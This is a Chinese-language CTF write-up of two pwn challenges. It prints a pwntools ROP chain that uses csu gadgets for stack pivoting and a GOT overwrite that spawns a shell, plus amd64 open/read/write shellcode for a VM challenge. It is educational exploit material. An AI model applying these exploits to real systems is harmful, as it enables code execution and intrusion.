WP-SICTF-<栈风水>-<signin_vm>
字数 937 2025-08-22 12:23:00
SICTF PWN题解:栈风水和signin_vm
1. 栈风水题目分析
1.1 程序保护机制
- Arch: amd64-64-little
- RELRO: Full RELRO
- Stack: No canary found
- NX: NX enabled
- PIE: No PIE (0x3fc000)
- RUNPATH: /root/glibc-all-in-one/libs/2.35-0ubuntu3.8_amd64/
1.2 漏洞点
__int64 __fastcall main(int a1, char **a2, char **a3)
{
_BYTE buf[160]; // [rsp+0h] [rbp-A0h] BYREF
read(0, buf, 0xB0uLL);
return 0LL;
}
- 存在0x10字节的栈溢出(buf大小160字节,但可读入176字节)
- 攻击方向:栈迁移
1.3 可利用的gadget
- csu_init函数中的gadget:
.text:00000000004006B0 mov rdx, r15
.text:00000000004006B3 mov rsi, r14
.text:00000000004006B6 mov edi, r13d
.text:00000000004006B9 call ds:(funcs_4006B9 - 600DE8h)[r12 + rbx*8]
.text:00000000004006BD add rbx, 1
.text:00000000004006C1 cmp rbp, rbx
.text:00000000004006C4 jnz short loc_4006B0
- 特殊函数sub_4004F7:
.text:00000000004004F7 sub_4004F7 proc near
.text:00000000004004F7 push rbp
.text:00000000004004F8 mov rbp, rsp
.text:00000000004004FB mov rax, 0FFFF7FFFFFFFFFFFh
.text:0000000000400505 mov [rbp+var_8], rax
.text:0000000000400509 mov rdx, [rbp+var_8]
.text:000000000040050D mov rax, 0FFFF000000000000h
.text:0000000000400517 and rdx, rax
.text:000000000040051A mov rax, cs:read_ptr
.text:0000000000400521 add rax, rdx
.text:0000000000400524 mov cs:num, rax
.text:000000000040052B nop
.text:000000000040052C pop rbp
.text:000000000040052D retn
1.4 攻击思路
- 第一次往bss段上利用csu第一次调用read函数扩充ROP空间
- 第二次read清理高两位
- 第三次read修改最低两字节为libc里的write的低两字节(需要爆破1/16)
- csu调用修改好的write,输出got表拿libc
- 第四次read写入system("/bin/sh")
1.5 EXP代码关键部分
leave = 0x0000000000400669
bss = 0x0000000000601E00
main = 0x0000000000400640
fun2 = 0x00000000004004F7
csu_1 = 0x0000000004006CA
csu_2 = 0x0000000004006B0
read = 0x400400
read_got = 0x000000000600FE8
def csu(fun, rdi, rsi, rdx):
return p64(csu_1) + p64(0) + p64(1) + p64(fun) + p64(rdi) + p64(rsi) + p64(rdx) + p64(csu_2) + p64(0)*7
rop = p64(fun2)
rop += csu(read_got, 0, addr + 6, 2)
rop += csu(read_got, 0, addr, 2)
rop += csu(addr, 1, read_got, 0x8)
rop += csu(read_got, 0, 0x602020, 0x100)
2. signin_vm题目分析
2.1 关键函数分析
unsigned __int64 sub_1437()
{
int v0; // eax
int v2; // [rsp+4h] [rbp-1Ch]
v2 = rand() % 1131796;
v0 = rand();
return ((v2 + (v2 ^ v0) + rand()) >> 4) << 12;
}
- 使用三次随机数生成一个地址
- 需要爆破opcode("V")跳转的地址
2.2 关键opcode
- 'W':可以对任意地址写
- 'P':写数据到寄存器
- 'V':跳到写入的ORW地方
2.3 攻击思路
- 爆破跳转地址
- 使用opcode("P")写数据到寄存器
- 使用opcode("W")写数据到跳转地址
- 使用opcode("V")跳到写入的ORW地方
2.4 EXP代码关键部分
def add(op, choice, idx1, idx2, idx3, addr1, value):
op += p8(choice)
op += p8(idx1)
op += p8(idx2)
op += p8(idx3)
if type(addr1) == int:
op += p64(addr1)
else:
op += addr1.ljust(0x8, b'\x00')
if type(value) == int:
op += p64(value)
else:
op += value.ljust(0x8, b'\x00')
return op
def write_data(data, addr):
r = b''
length = len(data)
if len(data) % 8 != 0:
length = (8 - len(data) % 8) + len(data)
for i in range(length // 8):
r += add(b'P', 0, 1, 0, 0, 0, data[i*8:(i*8+8)])
r += add(b'W', 0, 1, 0, 0, addr + i*8, 0)
return r
shellcode = asm('''
xor rdi, rdi
sub rdi, 100
mov rsi, 0x%x
mov rax, 0x101
xor rdx, rdx
xor r10, r10
syscall
mov rdi, 0
mov rsi, 0x%x
mov rdx, 0x30
mov rax, 0
syscall
mov rdi, 1
mov rsi, 0x%x
mov rdx, 0x30
mov rax, 1
syscall
''' % (cmd + 0x100, cmd + 0x500, cmd + 0x500), arch='amd64')
3. 总结
3.1 栈风水题目要点
- 利用有限的栈溢出进行栈迁移
- 使用csu gadget构造ROP链
- 通过多次read调用逐步控制程序流
- 需要爆破1/16的概率修改write函数地址
3.2 signin_vm题目要点
- 分析随机数生成地址的算法
- 爆破跳转地址
- 利用虚拟机opcode构造任意地址写
- 最终通过shellcode实现ORW读取flag
这两道题目都展示了在有限条件下如何通过巧妙的利用现有漏洞和程序特性实现完整的攻击链,是很好的栈迁移和虚拟机逃逸的学习案例。